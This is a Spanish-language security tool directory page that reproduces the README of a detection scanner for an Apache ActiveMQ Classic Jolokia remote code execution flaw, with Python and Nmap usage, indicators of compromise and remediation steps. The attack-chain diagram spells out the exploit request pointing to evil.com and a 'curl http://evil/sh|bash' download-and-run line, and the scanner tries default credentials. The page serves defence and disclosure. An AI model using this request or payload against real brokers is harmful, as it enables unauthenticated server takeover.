Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-34197 — Detecta RCE en Apache ActiveMQ Classic (CVE-2026-34197) a través de la API Jolokia con scripts de Python y Nmap NSE, comprobando el acceso no autenticado y la vulnerabilidad de la versión. | Kitploit
Herramientas/GitHubGitHub/keraattin/cve-2026-34197
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad de RedesPruebas de Penetración
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Detecta RCE en Apache ActiveMQ Classic (CVE-2026-34197) a través de la API Jolokia con scripts de Python y Nmap NSE, comprobando el acceso no autenticado y la vulnerabilidad de la versión.

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-34197 — Ejecución Remota de Código en Apache ActiveMQ Classic a través de la API Jolokia

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic que permite a un atacante ejecutar código arbitrario invocando la operación MBean addNetworkConnector(String) a través de la API Jolokia (/api/jolokia/). El atacante incrusta un parámetro brokerConfig malicioso que apunta a un archivo XML de Spring remoto, el cual ActiveMQ descarga y analiza, instanciando objetos Java arbitrarios y logrando la ejecución de código.

En las versiones de ActiveMQ 6.0.0 hasta 6.1.1, el endpoint de Jolokia está completamente sin autenticación, lo que convierte esto en una RCE sin autenticación y sin interacción del usuario.

Esta vulnerabilidad estuvo oculta en el código base durante 13 años antes de su descubrimiento con asistencia de IA.


Tabla de Contenidos

  • Datos Rápidos
  • ¿Qué es Apache ActiveMQ?
  • Análisis Profundo de la Vulnerabilidad
    • La Arquitectura: Jolokia y JMX
    • La Cadena de Ataque
    • La Brecha de Autenticación
  • Análisis de Impacto
  • Versiones Afectadas
  • Detección
    • Escáner en Python
    • Script Nmap NSE
    • Verificación Manual
  • Indicadores de Compromiso
  • Remediación
  • Referencias
  • Autor

Datos Rápidos

CampoDetalle
ID CVECVE-2026-34197
ProveedorApache Software Foundation
ProductoApache ActiveMQ Classic
Versiones AfectadasTodas las versiones anteriores a 5.19.4 y 6.2.3
RCE sin AutenticaciónVersiones 6.0.0 hasta 6.1.1 (Jolokia no tiene autenticación)
CVSS v3.18.8 (Alta)
CWECWE-94 — Control Inadecuado de la Generación de Código
Vector de AtaqueRed
AutenticaciónRequerida en 5.x; ninguna en 6.0.0 hasta 6.1.1
Interacción del UsuarioNinguna
Madurez del ExploitPoC público disponible
Corregido EnActiveMQ Classic 5.19.4, 6.2.3
Antigüedad del Fallo~13 años en el código base
DescubrimientoInvestigación de vulnerabilidades asistida por IA

¿Qué es Apache ActiveMQ?

Apache ActiveMQ Classic es uno de los brokers de mensajería de código abierto más ampliamente implementados en el ecosistema Java. Implementa la especificación Java Message Service (JMS) y sirve como la columna vertebral de la comunicación asíncrona en miles de entornos empresariales en todo el mundo.

ActiveMQ maneja desde colas de procesamiento de pedidos y pipelines de transacciones financieras hasta flujos de telemetría IoT y buses de eventos de microservicios. Si su organización utiliza microservicios basados en Java, arquitectura orientada a eventos o cualquier forma de mensajería asíncrona, hay una buena probabilidad de que ActiveMQ esté en algún lugar de la pila tecnológica.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
Cuando un atacante compromete ActiveMQ, no solo obtiene una shell en un servidor. Se sitúa en el **centro de cada flujo de mensajes** de la organización, capaz de leer, modificar, redirigir o inyectar mensajes entre sistemas críticos.

---

## Análisis en Profundidad de la Vulnerabilidad

### La Arquitectura: Jolokia y JMX

**JMX** (Java Management Extensions) es la interfaz de gestión estándar para aplicaciones Java. Expone "MBeans" (Managed Beans) que permiten monitorear y controlar los componentes internos de la aplicación. ActiveMQ expone MBeans para gestionar brokers, colas, temas, conexiones y más.

**Jolokia** es un puente JMX sobre HTTP. Traduce las operaciones JMX a una API JSON RESTful, lo que permite gestionar aplicaciones Java mediante solicitudes HTTP en lugar de requerir un cliente JMX dedicado.

ActiveMQ Classic incluye Jolokia integrado, accesible en `/api/jolokia/` en el puerto de la consola web (por defecto: 8161).```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

Aquí es donde comienzan los problemas. Jolokia expone todo el poder de la gestión JMX a través de una simple API HTTP. Y una de las operaciones MBean disponibles en el broker es addNetworkConnector(String).

La Cadena de Ataque

La operación addNetworkConnector(String) está diseñada para crear puentes de red entre instancias del broker ActiveMQ. Acepta una cadena URI que describe cómo conectarse a otro broker.

ActiveMQ soporta un esquema URI vm:// para conexiones de broker en proceso. Estas URIs admiten un parámetro brokerConfig que apunta a un archivo de configuración XML de Spring. Y el XML de Spring puede instanciar objetos Java arbitrarios.

Aquí está la cadena completa:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ está haciendo exactamente lo que fue diseñado para hacer: cargar una configuración de broker. El problema es que la fuente de configuración está controlada por el atacante, y Spring XML es efectivamente un formato de ejecución de código.

### La brecha de autenticación

Esto es lo que eleva la vulnerabilidad de grave a crítica:

| Versión de ActiveMQ | Estado de autenticación de Jolokia | Impacto |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Autenticado (valores predeterminados: admin:admin) | RCE autenticado, a menudo trivialmente evadido |
| 6.0.0 a 6.1.1 | **Completamente sin autenticación** | **RCE sin autenticación** |
| 6.1.2 a 6.2.2 | Autenticado | RCE autenticado |
| 5.19.4+ / 6.2.3+ | Parcheado | No vulnerable |

En ActiveMQ 6.0.0 hasta 6.1.1, el endpoint de Jolokia requiere **cero autenticación**. Cualquiera que pueda alcanzar el puerto 8161 obtiene ejecución remota de código sin autenticación.

Incluso en versiones donde Jolokia requiere autenticación, las credenciales predeterminadas `admin:admin` son ampliamente conocidas y con frecuencia se dejan sin cambiar en entornos de desarrollo, pruebas y producción.

---

## Análisis de impacto

**Impacto inmediato en el host del broker:**
- Ejecución remota de código completa con los privilegios del proceso de ActiveMQ
- Acceso a todas las colas de mensajes, temas y mensajes almacenados
- Capacidad de leer/modificar/inyectar mensajes en tránsito
- Acceso a archivos de configuración, almacenes de claves y credenciales almacenadas

**Impacto posterior (mediante manipulación de mensajes):**
- Inyección de mensajes maliciosos en colas de procesamiento
- Modificación de transacciones financieras, pedidos o comandos en vuelo
- Interceptación de datos sensibles que fluyen a través del broker
- Interrupción de todos los servicios dependientes de mensajes

**Amplificación del riesgo empresarial:**
- ActiveMQ se encuentra en la intersección de cada aplicación que lo utiliza
- Un único broker comprometido puede afectar a docenas de servicios conectados
- Los brokers de mensajes suelen estar posicionados en zonas de red de confianza con acceso amplio
- El movimiento lateral es sencillo desde la posición de red del broker```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Versiones Afectadas

VersiónEstado
ActiveMQ Classic 6.2.3+Parcheado
ActiveMQ Classic 5.19.4+Parcheado
ActiveMQ Classic 6.0.0 a 6.2.2Vulnerable (6.0.0 a 6.1.1 = sin autenticación)
ActiveMQ Classic < 5.19.4Vulnerable (autenticado)
ActiveMQ ArtemisNo afectado (código base diferente)

Detección

Escáner en Python

El script en Python detecta instancias vulnerables de ActiveMQ mediante un análisis de varios pasos.

Cómo funciona:

  1. Comprobación del endpoint Jolokia — Prueba si /api/jolokia/ es accesible sin autenticación (HTTP 200 = abierto, 401 = requiere autenticación)
  2. Prueba de credenciales predeterminadas — Si Jolokia requiere autenticación, prueba admin:admin, user:user, admin:activemq
  3. Detección de versión — Extrae las cadenas de versión de ActiveMQ de las páginas /admin/ y / mediante coincidencia de patrones regex
  4. Accesibilidad de MBean — Realiza una consulta de búsqueda segura en Jolokia para org.apache.activemq:type=Broker para confirmar que existe la ruta de explotación

No se envían payloads de explotación. No se ejecutan comandos. El escáner solo observa la accesibilidad del endpoint y la información de versión.

Uso:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**Opciones:**

| Bandera | Descripción | Predeterminado |
|------|-------------|---------|
| `-t`, `--target` | URL de destino única (p. ej., `http://host:8161`) | — |
| `-f`, `--file` | Archivo con URLs de destino, una por línea (se admiten comentarios con `#`) | — |
| `-u`, `--username` | Nombre de usuario para la autenticación de Jolokia | — |
| `-p`, `--password` | Contraseña para la autenticación de Jolokia | — |
| `-o`, `--output` | Guardar resultados en un archivo JSON | — |
| `--timeout` | Tiempo de espera de conexión en segundos | `10` |
| `--verify-ssl` | Habilitar verificación de certificados SSL | Deshabilitado |
| `-v`, `--verbose` | Salida detallada con información completa | Desactivado |

**Ejemplo de salida:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Script NSE de Nmap```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Ejemplo de salida de Nmap:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Verificación manual

Si quieres comprobarlo manualmente con curl:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
Si el Paso 1 devuelve una respuesta JSON con información del agente Jolokia, el endpoint no está autenticado. Si el Paso 2 funciona con credenciales predeterminadas, tienes acceso autenticado. De cualquier manera, si el MBean del broker es accesible, la ruta de explotación existe.

---

## Indicadores de Compromiso

Vigila estas señales en tu entorno:

| Indicador | Dónde comprobar | Qué buscar |
|:---|:---|:---|
| Acceso a Jolokia | Registros de acceso de la consola web | POST a `/api/jolokia/` que contenga `addNetworkConnector` |
| Obtención saliente | Registros de red / firewall | Solicitudes HTTP desde ActiveMQ a hosts externos inesperados |
| Carga de Spring XML | Registros de ActiveMQ | Referencias a URIs `xbean:http://` |
| Conectores de red | Configuración del broker | URIs `vm://` con parámetros `brokerConfig` que no creaste |
| Procesos hijos | Monitoreo de procesos | Procesos inesperados generados por el proceso Java de ActiveMQ |

**Comandos de investigación:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Remediación

Acciones inmediatas (hazlas ahora):

  1. Actualiza ActiveMQ Classic a la versión 5.19.4 o 6.2.3 (según tu rama)
  2. Restringe el acceso a Jolokia añadiendo reglas de firewall o ACLs de proxy inverso para bloquear el acceso externo a /api/jolokia/
  3. Cambia las credenciales predeterminadas si estás usando admin:admin en la consola web

A corto plazo (esta semana):

  1. Audita los registros de acceso de Jolokia en busca de señales de explotación (busca operaciones addNetworkConnector)
  2. Revisa los conectores de red en todas las instancias de ActiveMQ para detectar entradas no autorizadas
  3. Comprueba si hay conexiones salientes inesperadas desde los hosts del broker ActiveMQ
  4. Rota las credenciales de cualquier servicio que se conecte a través del broker

A largo plazo:

  1. Segmentación de red para la infraestructura del broker de mensajes (VLAN de gestión dedicada)
  2. Monitorización de los patrones de acceso a Jolokia con alertas sobre operaciones MBean inesperadas
  3. Incluye ActiveMQ en los ciclos regulares de escaneo de vulnerabilidades y gestión de parches
  4. Desactiva Jolokia por completo si no se necesita la gestión JMX, o vincúlalo solo a localhost

Referencias

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Autor

Kerem Oruç — Ingeniero de Ciberseguridad

  • GitHub: @keraattin
  • Twitter: @keraattin
Descargar herramienta